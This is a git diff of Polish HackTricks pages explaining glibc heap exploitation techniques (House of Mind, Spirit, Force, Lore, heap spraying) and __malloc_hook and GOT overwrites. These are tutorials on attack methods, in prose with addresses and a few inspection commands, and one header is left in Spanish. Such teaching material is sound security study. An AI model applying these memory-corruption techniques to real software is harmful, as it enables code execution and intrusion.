**After free()**
|
||||
|
||||
|
@ -454,9 +448,9 @@ ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(
|
|||
|
||||
}
|
||||
|
||||
W \[1] sprawdzany jest rozmiar pola bitu NON\_MAIN\_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wywołało heap\_for\_ptr(), które wykonuje operację and na „mem”, ustawiając na 0 2,5 najmniej znaczących bajtów (w naszym przypadku z 0x0804a000 robi 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jak do struct heap\_info)
|
||||
W \[1] sprawdzany jest rozmiar pola bitu NON\_MAIN\_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wywołało heap\_for\_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 najmniej znaczących bajtów (w naszym przypadku z 0x0804a000 robi 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jak do struct heap\_info)
|
||||
|
||||
W ten sposób, jeśli możemy kontrolować fragment na przykład w 0x0804a000 i fragment w **0x081002a0** zostanie zwolniony, możemy dotrzeć do adresu 0x08100000 i zapisać cokolwiek chcemy, na przykład **0x0804a000**. Gdy ten drugi fragment zostanie zwolniony, heap\_for\_ptr(ptr)->ar\_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd wyciąga wartość 4 pierwszych bajtów, ar\_ptr)
|
||||
W ten sposób, jeśli możemy kontrolować fragment na przykład w 0x0804a000 i fragment, który zostanie zwolniony w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, na przykład, **0x0804a000**. Gdy ten drugi fragment zostanie zwolniony, heap\_for\_ptr(ptr)->ar\_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd wyciąga wartość 4 pierwszych bajtów, ar\_ptr)
|
||||
|
||||
W ten sposób zostanie wywołane \_int\_free(ar\_ptr, mem), czyli **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
|
@ -470,7 +464,7 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym fragmencie, jest tym, co zostanie zapisane w av.
|
||||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym fragmencie, jest tym, co zostanie zapisane w av->bins\[2]
|
||||
|
||||
Zgodnie z definicją unsorted\_chunks, wiemy, że:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
|
@ -479,9 +473,9 @@ fwd->bk = \*(av->bins\[2] + 12) = p;
|
|||
|
||||
Dlatego jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zostanie zapisane w \_\_DTOR\_END\_\_ adres drugiego fragmentu.
|
||||
|
||||
Innymi słowy, na początku pierwszego fragmentu musimy umieścić wiele razy adres \_\_DTOR\_END\_\_-12, ponieważ av->bins\[2] to z niego weźmie.
|
||||
Innymi słowy, na początku pierwszego fragmentu musimy umieścić wiele razy adres \_\_DTOR\_END\_\_-12, ponieważ av->bins\[2] to z niego weźmie
|
||||
|
||||
W miejscu, gdzie znajdzie się adres drugiego fragmentu z ostatnimi 5 zerami, należy zapisać adres tego pierwszego fragmentu, aby heap\_for\_ptr() myślał, że ar\_ptr zaczyna się na początku pierwszego fragmentu i wyciągnął z niego av->bins\[2]
|
||||
W miejscu, gdzie znajdzie się adres drugiego fragmentu z ostatnimi 5 zerami, należy zapisać adres tego pierwszego fragmentu, aby heap\_for\_ptr() myślał, że ar\_ptr zaczyna się na początku pierwszego fragmentu i wyciągnął z tego av->bins\[2]
|
||||
|
||||
W drugim fragmencie, dzięki pierwszemu, nadpisujemy prev\_size skokiem 0x0c i rozmiarem czegoś, aby aktywować -> NON\_MAIN\_ARENA
|
||||
|
||||
|
@ -506,7 +500,7 @@ p->fd = \*fb
|
|||
|
||||
\*fb = p
|
||||
|
||||
W ten sposób, jeśli umieścimy "fb" w adresie funkcji w GOT, na tym adresie zostanie umieszczony adres nadpisanej części. Aby to osiągnąć, konieczne jest, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
|
||||
W ten sposób, jeśli umieścimy "fb" w adresie funkcji w GOT, pod tym adresem zostanie umieszczony adres nadpisanej części. Aby to osiągnąć, konieczne będzie, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
|
||||
|
||||
Ponieważ z The House of Mind widzieliśmy, że kontrolowaliśmy pozycję av.
|
||||
|
||||
|
@ -522,7 +516,7 @@ Z powodu zer w \_DTOR\_END\_ i niewielu adresów w GOT, żaden z tych adresów n
|
|||
|
||||
Innym sposobem ataku jest przekierowanie **av** na stos.
|
||||
|
||||
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0\] i możemy z tego skorzystać, aby nadpisać stos.
|
||||
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0\] i możemy tego użyć do nadpisania stosu.
|
||||
|
||||
W tym celu nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w takim miejscu: 4 bajty zerowe + EBP + RET
|
||||
|
||||
|
@ -530,23 +524,23 @@ W tym celu nie powinno być żadnych canary ani dziwnych wartości na stosie, fa
|
|||
|
||||
**av->max\_fast** będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
|
||||
|
||||
W **av->fastbins\[0\]** zostanie nadpisany adresem **p** i będzie RET, co spowoduje skok do shellcode.
|
||||
W **av->fastbins\[0\]** zostanie nadpisany adresem **p** i będzie RET, dzięki czemu nastąpi skok do shellcode.
|
||||
|
||||
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzanie.
|
||||
|
||||
Dodatkowo, ten sam fałszywy kawałek musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka to 16, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops, które znajdują się po polu size nowego fałszywego kawałka).
|
||||
Dodatkowo, ten sam fałszywy kawałek musi być większy niż kawałek przyległy do zwolnionego kawałka musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka to 16, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops, które znajdują się po polu size nowego fałszywego kawałka).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
W tym przypadku chcemy mieć wskaźnik do malloc, który może być modyfikowany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej).
|
||||
|
||||
W ten sposób możemy sprawić, że ten wskaźnik wskazuje dokąd chcemy. Jednak nie każde miejsce jest odpowiednie, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
|
||||
W ten sposób możemy sprawić, że ten wskaźnik wskazuje dokądkolwiek. Jednak nie każde miejsce jest odpowiednie, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej szczegółowo równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
|
||||
|
||||
Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, dzięki czemu 48 pozostaje z tyłu, jakby to była nagłówek size). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
Jeśli to się spełni, gdy zostanie wywołane kolejne malloc, które powiedzieliśmy, że jest malloc(40), jako adres zostanie przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
|
||||
|
||||
Myślę, że dlatego, gdy zostanie zwolnione free(), zostanie zachowana informacja, że w miejscu wskazującym na EBP stosu znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chcemy zarezerwować, więc przypisuje mu ten adres.
|
||||
Prawdopodobnie dlatego, że gdy zostanie zwolnione free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chcemy zarezerwować, więc przypisuje mu ten adres.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
|
@ -556,9 +550,9 @@ Potrzebne jest:
|
|||
* Wywołanie malloc() z rozmiarem zdefiniowanym przez użytkownika
|
||||
* Wywołanie malloc(), których dane mogą być zdefiniowane przez użytkownika
|
||||
|
||||
Pierwszą rzeczą, którą robimy, jest nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty.
|
||||
Pierwszą rzeczą, którą należy zrobić, jest nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty.
|
||||
|
||||
Drugą rzeczą jest zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, takiego jak stos. W av->top umieszczamy \&EIP - 8.
|
||||
Drugą rzeczą jest zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, takiego jak stos. W av->top zostanie umieszczony \&EIP - 8.
|
||||
|
||||
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
|
||||
|
||||
|
@ -568,44 +562,44 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victim przechwytuje adres bieżącego kawałka wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), będzie wynosić:
|
||||
Victim przechwytuje wartość aktualnego adresu kawałka wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu plus ilość bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym mallocu, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
W ten sposób zostanie zachowany zmieniony av->top, a następne malloc będzie wskazywać na EIP i będzie można go nadpisać.
|
||||
W ten sposób zostanie zapisana zmieniona wartość w av->top, a następne malloc będzie wskazywać na EIP i będzie można go nadpisać.
|
||||
|
||||
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar zostanie dokładnie w polu EBP stosu.
|
||||
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie wykonane przez ostatnie malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar zostanie dokładnie w polu EBP stosu.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**Korupcja SmallBin**
|
||||
**Corrupción SmallBin**
|
||||
|
||||
Zwolnione kawałki są umieszczane w bin w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Kawałek nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy kawałek i poprzedni zwolniony może być użyty, zostanie on zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony kawałek z unsorted bins zostanie umieszczony w odpowiednim binie.
|
||||
Zwolnione kawałki są umieszczane w bin w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Kawałek nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy kawałek i poprzedni zwolniony może być użyty, zostanie on zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
|
||||
|
||||
Aby dotrzeć do podatnego kodu, żądanie pamięci musi być większe niż av->max\_fast (zazwyczaj 72) i mniejsze niż MIN\_LARGE\_SIZE (512).
|
||||
|
||||
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze, zostanie on zwrócony po odłączeniu:
|
||||
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze do żądania, zostanie on zwrócony po odłączeniu:
|
||||
|
||||
bck = victim->bk; Wskaże poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
|
||||
|
||||
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następnemu zarezerwowanemu kawałkowi zostanie przypisany ten adres
|
||||
|
||||
bck->fd = bin; Zamyka listę, aby wskazywała na bin
|
||||
bck->fd = bin; Lista zostaje zamknięta, wskazując na bin
|
||||
|
||||
Potrzebne jest:
|
||||
Zarezerwuj dwie pamięci malloc, tak aby pierwsza mogła zostać przepełniona po zwolnieniu drugiej i umieszczeniu jej w swoim binie (czyli zarezerwowano malloc większy niż drugi kawałek przed przepełnieniem).
|
||||
Zarezerwuj dwie pamięci malloc, tak aby pierwsza mogła zostać przepełniona po zwolnieniu i umieszczeniu w swoim binie drugiej (czyli zarezerwowano malloc większy niż drugi kawałek przed przepełnieniem).
|
||||
|
||||
Zarezerwowana pamięć, do której atakujący wybiera adres, jest kontrolowana przez atakującego.
|
||||
Zarezerwowana pamięć, do której atakujący wybiera adres, musi być kontrolowana przez atakującego.
|
||||
|
||||
Celem jest, jeśli możemy przepełnić stertę, która ma zwolniony kawałek pod nią i w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk i ten kawałek stanie się pierwszy na liście bin i zostanie zarezerwowany, oszukamy bin i powiemy mu, że następny kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na przykład na stosie lub GOT). W ten sposób, jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma uprawnienia do niego, zostanie mu przydzielony kawałek na pożądanej pozycji i będzie mógł w nią pisać.
|
||||
Celem jest, jeśli możemy przepełnić stertę, która ma zwolniony kawałek pod nią i w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk i ten kawałek stanie się pierwszy na liście bin i zostanie zarezerwowany, oszukamy bin i powiemy mu, że następny kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na przykład na stosie lub GOT). W ten sposób, jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma uprawnienia do niego, zostanie mu przydzielony kawałek na żądanej pozycji i będzie mógł w nią pisać.
|
||||
|
||||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, dzięki czemu zmodyfikowany kawałek opuści unsorted bins i zostanie umieszczony w swoim binie.
|
||||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie większego kawałka niż zwolniony, aby zmodyfikowany kawałek wyszedł z unsorted bins i został umieszczony w swoim binie.
|
||||
|
||||
Gdy już znajdzie się w swoim binie, należy zmienić mu wskaźnik bk poprzez przepełnienie, aby wskazywał na adres, który chcemy nadpisać.
|
||||
Gdy już znajdzie się w swoim binie, należy zmienić wskaźnik bk poprzez przepełnienie, aby wskazywał na wybrany adres.
|
||||
|
||||
Następnie bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że uwierzy, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony pożądany kawałek.
|
||||
Następnie bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że uwierzy, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony kawałek, który nas interesuje.
|
||||
|
||||
Aby wywołać podatność jak najszybciej, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka do zmodyfikowania, zwolnienie tego kawałka, zarezerwowanie kawałka większego od tego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co naruszony i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
|
||||
Aby jak najszybciej wywołać podatność, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka do zmodyfikowania, zwolnienie tego kawałka, zarezerwowanie większego kawałka niż ten do zmodyfikowania, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co naruszony i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
|
||||
|
||||
Aby zabezpieczyć się przed tym atakiem, użyto standardowej weryfikacji, czy kawałek "nie" jest fałszywy: sprawdzane jest, czy bck->fd wskazuje na ofiarę. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd\* fałszywego kawałka wskazuje na ofiarę na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać odpowiednio adres ofiary. W ten sposób wyglądałoby to jak prawdziwy kawałek.
|
||||
|
||||
|
@ -615,13 +609,13 @@ Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerw
|
|||
|
||||
Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby ten rozmiar - nb był < MINSIZE.
|
||||
|
||||
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się wartość bez znaku)
|
||||
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównywany jest unsigned)
|
||||
|
||||
Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.
|
||||
|
||||
**Rozpylanie sterty (Heap Spraying)**
|
||||
|
||||
Polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z nops zakończoną shellcodem. Dodatkowo jako poduszkę używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tą poduszką, skoczy tam. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby zobaczyć, czy jakiś wskaźnik zostanie nadpisany, i skoczyć do 0x0c0c0c0c, mając nadzieję, że tam będą nops.
|
||||
Polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z nops zakończoną shellcodem. Dodatkowo jako poduszkę używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi poduszkami, skoczy tam. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby zobaczyć, czy jakiś wskaźnik zostanie nadpisany, i skok do 0x0c0c0c0c w nadziei, że tam będą nops.
|
||||
|
||||
**Feng Shui sterty (Heap Feng Shui)**
|
||||
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
# AW2Exec - \_\_malloc\_hook
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Zgodnie z [Oficjalną stroną GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** to wskaźnik wskazujący na **adres funkcji, która zostanie wywołana** za każdym razem, gdy zostanie wywołane `malloc()`, **przechowywany w sekcji danych biblioteki libc**. Dlatego jeśli ten adres zostanie nadpisany na przykład przez **One Gadget** i zostanie wywołane `malloc`, to **One Gadget zostanie wywołany**.
|
||||
|
||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")`**, co alokuje wiele bajtów, co zmusza `libc` do wywołania malloc w celu ich alokacji na stercie.
|
||||
|
||||
Więcej informacji na temat One Gadget znajdziesz w:
|
||||
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencje
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
|
@ -16,23 +16,23 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
### **GOT: Global Offset Table**
|
||||
### **GOT: Globalna tabela przesunięć**
|
||||
|
||||
**Global Offset Table (GOT)** to mechanizm używany w binariach dynamicznie łączonych do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu wykonania** (ze względu na dynamiczne łączenie), GOT zapewnia sposób **dynamicznego aktualizowania adresów tych symboli zewnętrznych** po ich rozwiązaniu.
|
||||
**Globalna tabela przesunięć (GOT)** to mechanizm używany w binariach dynamicznie łączonych do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu wykonania** (ze względu na dynamiczne łączenie), GOT zapewnia sposób **dynamicznego aktualizowania adresów tych symboli zewnętrznych** po ich rozwiązaniu.
|
||||
|
||||
Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które binarny może wywołać. Gdy **funkcja jest pierwszy raz wywołana, jej rzeczywisty adres jest rozwiązywany przez dynamiczny łącznik i przechowywany w GOT**. Kolejne wywołania tej samej funkcji korzystają z adresu przechowywanego w GOT, unikając tym samym ponownego rozwiązywania adresu.
|
||||
Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które binarny może wywołać. Gdy **funkcja jest pierwszy raz wywołana, jej rzeczywisty adres jest rozwiązywany przez łącznik dynamiczny i przechowywany w GOT**. Kolejne wywołania tej samej funkcji używają adresu przechowywanego w GOT, unikając tym samym kosztów ponownego rozwiązywania adresu.
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
### **PLT: Tabela łączenia procedur**
|
||||
|
||||
**Procedure Linkage Table (PLT)** ściśle współpracuje z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarny **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola przechodzi do wpisu w PLT związanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego łącznika w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adres jest przechowywany w GOT.
|
||||
**Tabela łączenia procedur (PLT)** ściśle współpracuje z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarny **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola przechodzi do wpisu w PLT związanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie łącznika dynamicznego w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adresu, jest on przechowywany w GOT.
|
||||
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pośrednictwem dynamicznego łącznika.
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pośrednictwem łącznika dynamicznego.
|
||||
|
||||
## Uruchomienie
|
||||
## Uruchomienie wykonania
|
||||
|
||||
### Sprawdź GOT
|
||||
|
||||
Pobierz adres tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
|
||||
Uzyskaj adres tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../../.gitbook/assets/image (619).png>)
|
||||
|
||||
|
@ -48,20 +48,31 @@ Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **
|
|||
|
||||
W binarnym GOT znajdują się **adresy funkcji lub** sekcji **PLT**, która załaduje adres funkcji. Celem tego arbitralnego zapisu jest **nadpisanie wpisu GOT** funkcji, która zostanie wykonana później **adresem** PLT funkcji **`system`** na przykład.
|
||||
|
||||
Idealnie, **nadpiszesz** GOT **funkcji**, która **zostanie wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesyłane do funkcji system).
|
||||
Idealnie, **nadpiszesz** GOT **funkcji**, która **zostanie wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesłane do funkcji system).
|
||||
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemu **nie** będzie miała wpisu w PLT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie** będzie miała wpisu w PLT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system` a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
|
||||
Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## **Jedno narzędzie**
|
||||
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Zabezpieczenia**
|
||||
|
||||
Ochrona **FullRELRO** ma na celu ochronę przed tego rodzaju techniką poprzez rozwiązanie wszystkich adresów funkcji podczas uruchamiania binarnego i ustawienie **tabeli GOT jako tylko do odczytu** po tym:
|
||||
Ochrona **FullRELRO** ma na celu ochronę przed tego rodzaju techniką, rozwiązując wszystkie adresy funkcji podczas uruchamiania binarnego i ustawiając **tabelę GOT jako tylko do odczytu** po tym:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencje
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
